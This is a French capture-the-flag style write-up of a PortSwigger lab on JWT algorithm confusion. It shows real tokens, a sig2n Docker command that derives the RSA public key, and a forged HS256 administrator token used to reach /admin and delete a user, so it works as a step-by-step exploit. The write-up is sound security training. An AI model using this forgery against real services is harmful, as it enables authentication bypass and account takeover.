Contournement d’authentification JWT par confusion d’algorithme (clé publique non exposée)

JWT authentication bypass via algorithm confusion with no exposed key

Lab: JWT authentication bypass via algorithm confusion with no exposed key | Web Security AcademyWebSecAcademy

Contexte du lab

Nous utilisons des JWT pour gérer la session. Les jetons sont normalement signés en RSA (RS256) avec une paire de clés robuste :

• clé privée : signer les JWT

• clé publique : vérifier les JWT

La faiblesse vient d’une implémentation incorrecte : le serveur accepte un JWT déclaré en HS256 et réutilise (à tort) la clé publique RSA comme secret HMAC.

Objectif : obtenir un JWT valide avec sub=administrator, accéder à /admin, puis supprimer carlos.

Récupération de deux JWT RS256

Nous nous connectons avec wiener:peter et nous récupérons un premier JWT RS256 :

TOKEN 1

eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU1MzEwOCwic3ViIjoid2llbmVyIn0.lZHvRKbIYjTSoGxUCW8Bho06m0rxBSkXPY4WI86aEXjUGY9N1Ntv1GFxOLn-sZio3Mf287bS-FkmbVNHyiWrrf2azNXaaI9MS8JIiVfr2mV0HkMrinRIwEXaL0L_muUc1qZRBKqhbuhTR90MnwEoNkKKNfQG0ry8-Pp5PZnN_BdQVzJyZonlURoPZI80fXO85jdo9s1vs5Qs3QFzj0qaoJ_VZJH8ssLDeZ-KlcncQfSTqtZaqFILjKpmwzfcACMqCyGQ6RsB1Xf3ooXl4Y-i6hOsv4vUwGtvWGNZFHHs18uyi57MGNPK21UN29CHYSVOSerOrPYaMPanrSRz47AeZA

Ensuite, nous nous déconnectons puis nous nous reconnectons afin d’obtenir un second JWT RS256 (même kid, signature différente) :

TOKEN 2

eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU1NDQ3NCwic3ViIjoid2llbmVyIn0.L9arTDo1Jb0NJ1dY2dsh-tnXH_VmBDNtycmgZtPYSLdMqOSAi0v46n1lfzZApEBwW7IYcl-Los-bZY7B7e0NGL97VfbAYiYuaxZZjNCaigxc7JlCnErvEDwmgdkrzA91APad9SjFbEUzbemzguBI6pQ5Mjwb3T3VaKrs5HodRl-LYGycs7l4O4GOZXzOrZuzEtDRJiJ2-OOqRstgzAtnQS2JlK75MKW_TtQTxTgVrCufperWcUG_cXG-nyh35gzdwTFXDHeH4yOlRzaEYF20IeczFi3F2P262cdNYHRi4TLeEQVf-4e_JO0XuIt3r5qTElRBeeXaYERYxmTKWVHoQA

Reconstruction d’une clé publique RSA valide avec sig2n

Algorithm confusion attacks | Web Security AcademyWebSecAcademy

GitHub - silentsignal/rsa_sign2n: Deriving RSA public keys from message-signature pairsGitHub

Nous utilisons l’outil sig2n (PortSwigger) dans Docker pour reconstruire une clé publique à partir de TOKEN 1 et TOKEN 2 :

docker run --rm -it docker.io/portswigger/sig2n \
  'TOKEN1' 'TOKEN2'

Avec nos deux tokens complets :

docker run --rm -it docker.io/portswigger/sig2n \
'eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU1MzEwOCwic3ViIjoid2llbmVyIn0.lZHvRKbIYjTSoGxUCW8Bho06m0rxBSkXPY4WI86aEXjUGY9N1Ntv1GFxOLn-sZio3Mf287bS-FkmbVNHyiWrrf2azNXaaI9MS8JIiVfr2mV0HkMrinRIwEXaL0L_muUc1qZRBKqhbuhTR90MnwEoNkKKNfQG0ry8-Pp5PZnN_BdQVzJyZonlURoPZI80fXO85jdo9s1vs5Qs3QFzj0qaoJ_VZJH8ssLDeZ-KlcncQfSTqtZaqFILjKpmwzfcACMqCyGQ6RsB1Xf3ooXl4Y-i6hOsv4vUwGtvWGNZFHHs18uyi57MGNPK21UN29CHYSVOSerOrPYaMPanrSRz47AeZA' 'eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU1NDQ3NCwic3ViIjoid2llbmVyIn0.L9arTDo1Jb0NJ1dY2dsh-tnXH_VmBDNtycmgZtPYSLdMqOSAi0v46n1lfzZApEBwW7IYcl-Los-bZY7B7e0NGL97VfbAYiYuaxZZjNCaigxc7JlCnErvEDwmgdkrzA91APad9SjFbEUzbemzguBI6pQ5Mjwb3T3VaKrs5HodRl-LYGycs7l4O4GOZXzOrZuzEtDRJiJ2-OOqRstgzAtnQS2JlK75MKW_TtQTxTgVrCufperWcUG_cXG-nyh35gzdwTFXDHeH4yOlRzaEYF20IeczFi3F2P262cdNYHRi4TLeEQVf-4e_JO0XuIt3r5qTElRBeeXaYERYxmTKWVHoQA'

L’outil renvoie notamment :

• Base64 encoded x509 key (clé publique)

• Tampered JWT (JWT HS256 de test)

Dans notre cas, la clé x509 renvoyée est :

Found n with multiplier 1:
    Base64 encoded x509 key: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUE1OVk1UFNxdU9ZUXlqMTN5RW84UQpmTUEyVmxXTFZDRTZEc1hqT2JXSWFqMW40UjJDeGtacC93SVp1b2ovekR1RVNGWjJTdlhEcmMvb2E4U0hiNE5ZCjZmNE1idXRsT1c0UE5aYUNCdGxLcDdST2Q5NE9kSmJoemlxWExpSWtYUGxUMXNudUV2d240RGJodmk1NHJCc00KQWE4K091WlJlMWlEWFkrSUNmVE55SmhhczNua0ZmUXpqditjY2lEQ2xyYXpFRFRYRW9ZTjJlT3Niazh6OVlSQgpLMWVaUkNKNzJUck0zS3lDTERYOE9kcWhIUFlMNkVZdG8vQWp5S0xDamtLWUw5S2VEanRQZXdDa2dYZ2QwMTRNCkRsRzF2aTBVSnhBKy9JVFNRbWVJM2tSc2s0Zk1xUGRPY09ERkRadXBMeFEycThqdVhJYWNMblhOY0hOV2hiZG0KZFFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==
    Tampered JWT: eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTc2NzYzODIxNCwgInN1YiI6ICJ3aWVuZXIifQ.YRJnWfD561bAYY8Wka8tt3xbN-qh-_8raMTvdQUBTHE
    Base64 encoded pkcs1 key: LS0tLS1CRUdJTiBSU0EgUFVCTElDIEtFWS0tLS0tCk1JSUJDZ0tDQVFFQTU5WTVQU3F1T1lReWoxM3lFbzhRZk1BMlZsV0xWQ0U2RHNYak9iV0lhajFuNFIyQ3hrWnAKL3dJWnVvai96RHVFU0ZaMlN2WERyYy9vYThTSGI0Tlk2ZjRNYnV0bE9XNFBOWmFDQnRsS3A3Uk9kOTRPZEpiaAp6aXFYTGlJa1hQbFQxc251RXZ3bjREYmh2aTU0ckJzTUFhOCtPdVpSZTFpRFhZK0lDZlROeUpoYXMzbmtGZlF6Cmp2K2NjaURDbHJhekVEVFhFb1lOMmVPc2JrOHo5WVJCSzFlWlJDSjcyVHJNM0t5Q0xEWDhPZHFoSFBZTDZFWXQKby9BanlLTENqa0tZTDlLZURqdFBld0NrZ1hnZDAxNE1EbEcxdmkwVUp4QSsvSVRTUW1lSTNrUnNrNGZNcVBkTwpjT0RGRFp1cEx4UTJxOGp1WElhY0xuWE5jSE5XaGJkbWRRSURBUUFCCi0tLS0tRU5EIFJTQSBQVUJMSUMgS0VZLS0tLS0K
    Tampered JWT: eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTc2NzYzODIxNCwgInN1YiI6ICJ3aWVuZXIifQ.6-Bl3s-41GcEODbZRG-WzqWgYImkdXfHrBvT4J5hC8M

Test : validation d’un JWT HS256 “tampered”

Nous testons le JWT HS256 fourni par sig2n :

eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTc2NzYzODIxNCwgInN1YiI6ICJ3aWVuZXIifQ.YRJnWfD561bAYY8Wka8tt3xbN-qh-_8raMTvdQUBTHE

Le serveur l’accepte

Donc la clé publique reconstruite est utilisable comme secret HMAC.

LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUE1OVk1UFNxdU9ZUXlqMTN5RW84UQpmTUEyVmxXTFZDRTZEc1hqT2JXSWFqMW40UjJDeGtacC93SVp1b2ovekR1RVNGWjJTdlhEcmMvb2E4U0hiNE5ZCjZmNE1idXRsT1c0UE5aYUNCdGxLcDdST2Q5NE9kSmJoemlxWExpSWtYUGxUMXNudUV2d240RGJodmk1NHJCc00KQWE4K091WlJlMWlEWFkrSUNmVE55SmhhczNua0ZmUXpqditjY2lEQ2xyYXpFRFRYRW9ZTjJlT3Niazh6OVlSQgpLMWVaUkNKNzJUck0zS3lDTERYOE9kcWhIUFlMNkVZdG8vQWp5S0xDamtLWUw5S2VEanRQZXdDa2dYZ2QwMTRNCkRsRzF2aTBVSnhBKy9JVFNRbWVJM2tSc2s0Zk1xUGRPY09ERkRadXBMeFEycThqdVhJYWNMblhOY0hOV2hiZG0KZFFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==

Création d’une clé symétrique (oct) avec la clé publique

Nous créons une clé symétrique de type oct dont la valeur k est la clé publique base64 :

{
    "kty": "oct",
    "kid": "67e88947-afdf-4c47-af1b-8afcc4b79b58",
    "k": "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUE1OVk1UFNxdU9ZUXlqMTN5RW84UQpmTUEyVmxXTFZDRTZEc1hqT2JXSWFqMW40UjJDeGtacC93SVp1b2ovekR1RVNGWjJTdlhEcmMvb2E4U0hiNE5ZCjZmNE1idXRsT1c0UE5aYUNCdGxLcDdST2Q5NE9kSmJoemlxWExpSWtYUGxUMXNudUV2d240RGJodmk1NHJCc00KQWE4K091WlJlMWlEWFkrSUNmVE55SmhhczNua0ZmUXpqditjY2lEQ2xyYXpFRFRYRW9ZTjJlT3Niazh6OVlSQgpLMWVaUkNKNzJUck0zS3lDTERYOE9kcWhIUFlMNkVZdG8vQWp5S0xDamtLWUw5S2VEanRQZXdDa2dYZ2QwMTRNCkRsRzF2aTBVSnhBKy9JVFNRbWVJM2tSc2s0Zk1xUGRPY09ERkRadXBMeFEycThqdVhJYWNMblhOY0hOV2hiZG0KZFFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg=="
}

Forge du JWT administrateur

Payload (on passe en administrator)

{
    "iss": "portswigger",
    "exp": 1767554474,
    "sub": "administrator"
}

Header (on bascule en HS256 et on conserve le kid attendu)

{
    "kid": "658001cf-6704-456b-983e-7ab4373ff03b",
    "alg": "HS256"
}

Nous signons ensuite ce JWT en HS256 avec la clé symétrique créée (secret = clé publique).

Exploitation

1. Nous remplaçons le cookie JWT par notre jeton HS256 forgé.

2. Nous allons sur /admin.

3. Nous supprimons l’utilisateur carlos.

eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTc2NzYzODIxNCwgInN1YiI6ICJ3aWVuZXIifQ.YRJnWfD561bAYY8Wka8tt3xbN-qh-_8raMTvdQUBTHE